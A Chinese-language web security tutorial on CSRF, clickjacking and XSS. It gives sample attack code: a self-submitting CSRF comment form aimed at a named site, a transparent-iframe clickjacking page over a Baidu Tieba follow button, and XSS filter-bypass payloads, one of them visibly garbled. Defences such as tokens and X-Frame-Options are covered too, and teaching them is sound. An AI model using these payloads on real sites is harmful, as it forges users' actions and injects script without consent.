用户在网站登录后,这个网站服务端会在 Cookie 中会放一个凭证,这个凭证是后端用来验证用户身份的。
在发评论的时候,提交评论的请求会带上这个凭证,后端通过判断这个凭证,来确认是哪个用户。
登录时,设置 Cookie:
提交评论时,携带 Cookie:
我们再来看看,发起攻击的页面里的内容。
<body> <form target="myIframe" action="https://www.kkkk1000.com/csrf/data/post_comment.php" method="POST"> <input type="text" value="csrf攻击" /> </form> <!-- iframe 用来防止页面跳转 --> <iframe></iframe> <script> var form = document.querySelector('#csrf'); form.submit(); </script> </body> 复制代码这些代码的意思就是,当用户点击这个链接,会自动提交 form 表单,而这个表单就是用来提交评论的,提交评论请求需要的参数,在 form 表单中也都已经准备好了,如果用户登录过网站,Cookie 中存储的用户的凭证,会随着请求一起传到服务器端。所以服务器端就会认为这是用户要提交一条评论。
防御 请求来源限制——验证 HTTP Referer 字段方法:在HTTP请求头中有一个字段叫Referer,它记录了请求的来源地址。 服务器需要做的是验证这个来源地址是否合法,如果是来自一些不受信任的网站,则拒绝响应。
额外验证机制——token的使用方法:使用tocken来代替验证码验证。由于黑客并不能拿到和看到cookie里的内容,所以无法伪造一个完整的请求。基本思路如下:
服务器随机产生token(比如把cookie hash化生成),存在session中,放在cookie中或者以ajax的形式交给前端。
前端发请求的时候,解析cookie中的token,放到请求url里或者请求头中。
服务器验证token,由于黑客无法得到或者伪造token,所以能防范csrf
更进一步的加强手段(不需要session):
服务器随机产生token,然后以token为密钥散列生成一段密文
把token和密文都随cookie交给前端
前端发起请求时把密文和token都交给后端
后端对token和密文进行正向散列验证,看token能不能生成同样的密文
这样即使黑客拿到了token 也无法拿到密文。
3.界面操作劫持 攻击概念:界面劫持,分为点击劫持、拖放劫持、触屏劫持。就是我们的点击,拖放,触屏操作被劫持了,而去操作了其它的透明隐藏的界面。其原理是利用透明层+iframe,使用了css中的opacity和z-index等属性,来到达透明和位于其它界面的上方,然后使用iframe来嵌入劫持页面。到达了用户操作的不是它看到的,不是他以为的那个界面,而是那个透明的位于上层的界面。
简单的来说,就是在百度贴吧页面上覆盖了一层页面,在百度贴吧关注按钮上面,覆盖的页面在相同的位置放一个按钮欺骗人点击,点击这个按钮相当去点击了百度贴吧的关注按钮。
我们准备一个透明层页面:
<!DOCTYPE HTML> <html> <meta http-equiv="Content-Type" content="text/html; charset=gb2312" /> <head> <title>点击劫持</title> <style> html,body,iframe{ display: block; height: 100%; width: 100%; margin: 0; padding: 0; border:none; } iframe{ opacity:0; filter:alpha(opacity=0); position:absolute; z-index:2; } button{ position:absolute; top: 315px; left: 462px; z-index: 1; width: 72px; height: 26px; } </style> </head> <body> 那些不能说的秘密 <button>查看详情</button> <iframe src="http://tieba.baidu.com/f?kw=%C3%C0%C5%AE"></iframe> </body> </html> 复制代码2. 网址传播出去后,用户手击了查看详情后,其实就会点到关注按钮。
3. 这样贴吧就多了一个粉丝了。
防御使用一个HTTP头——X-Frame-Options。
X-Frame-Options可以说是为了解决ClickJacking而生的,它有三个可选的值:
DENY:浏览器会拒绝当前页面加载任何frame页面。
SAMEORIGIN:frame页面的地址只能为同源域名下的页面。
ALLOW-FROM origin:允许frame加载的页面地址。
JS层面:使用iframe的sandbox属性,判断当前页面是否被其他页面嵌套。
建议HTTP头+JS结合防御。
4.漏洞挖掘 攻击web前端黑客中的漏洞挖掘重点就是XSS漏洞挖掘,至于CSRF漏洞挖掘和页面操作劫持漏洞挖掘本质上就决定了这些漏洞挖掘起来就很简单。
CSRF的漏洞挖掘只要确认以下内容即可:
1.目标表单是否有有效的token随机串。
2.目标表单是否有验证码。
3.目标是否判断了Referer来源。
4.网站根目录下crossdomain.xml的"allow—access—fromdomain“是否是通配符。
5.目标JSON数据似乎可以自定义callback函数等。
页面操作劫持的漏洞挖掘只要确认以下内容即可:
1.目标的HTTP响应头是否设置了X-Frame-Options字段。
2.目标是否有JavaScript的FrameBusting机制。
3.更简单的就是用iframe嵌入目标网站试试,若成功,则说明漏洞存在。
XSS的漏洞就多了太多的可操作性:
下面假设服务端不对用户输入有任何编码或者过滤。
4.1、html内容中
4.1.1 大小写不敏感
<sCript>alert(1);</scrIpt> 复制代码4.1.2 嵌套绕过
<sCr<scriPt>ipt>alert(1)</scr</scRipt>Ipt> 复制代码4.1.3 svg 注入(HTML5 支持内联 SVG)
<svg/onload=http://juejin.cn/post/6900861207561895950/alert(document.domain)> 复制代码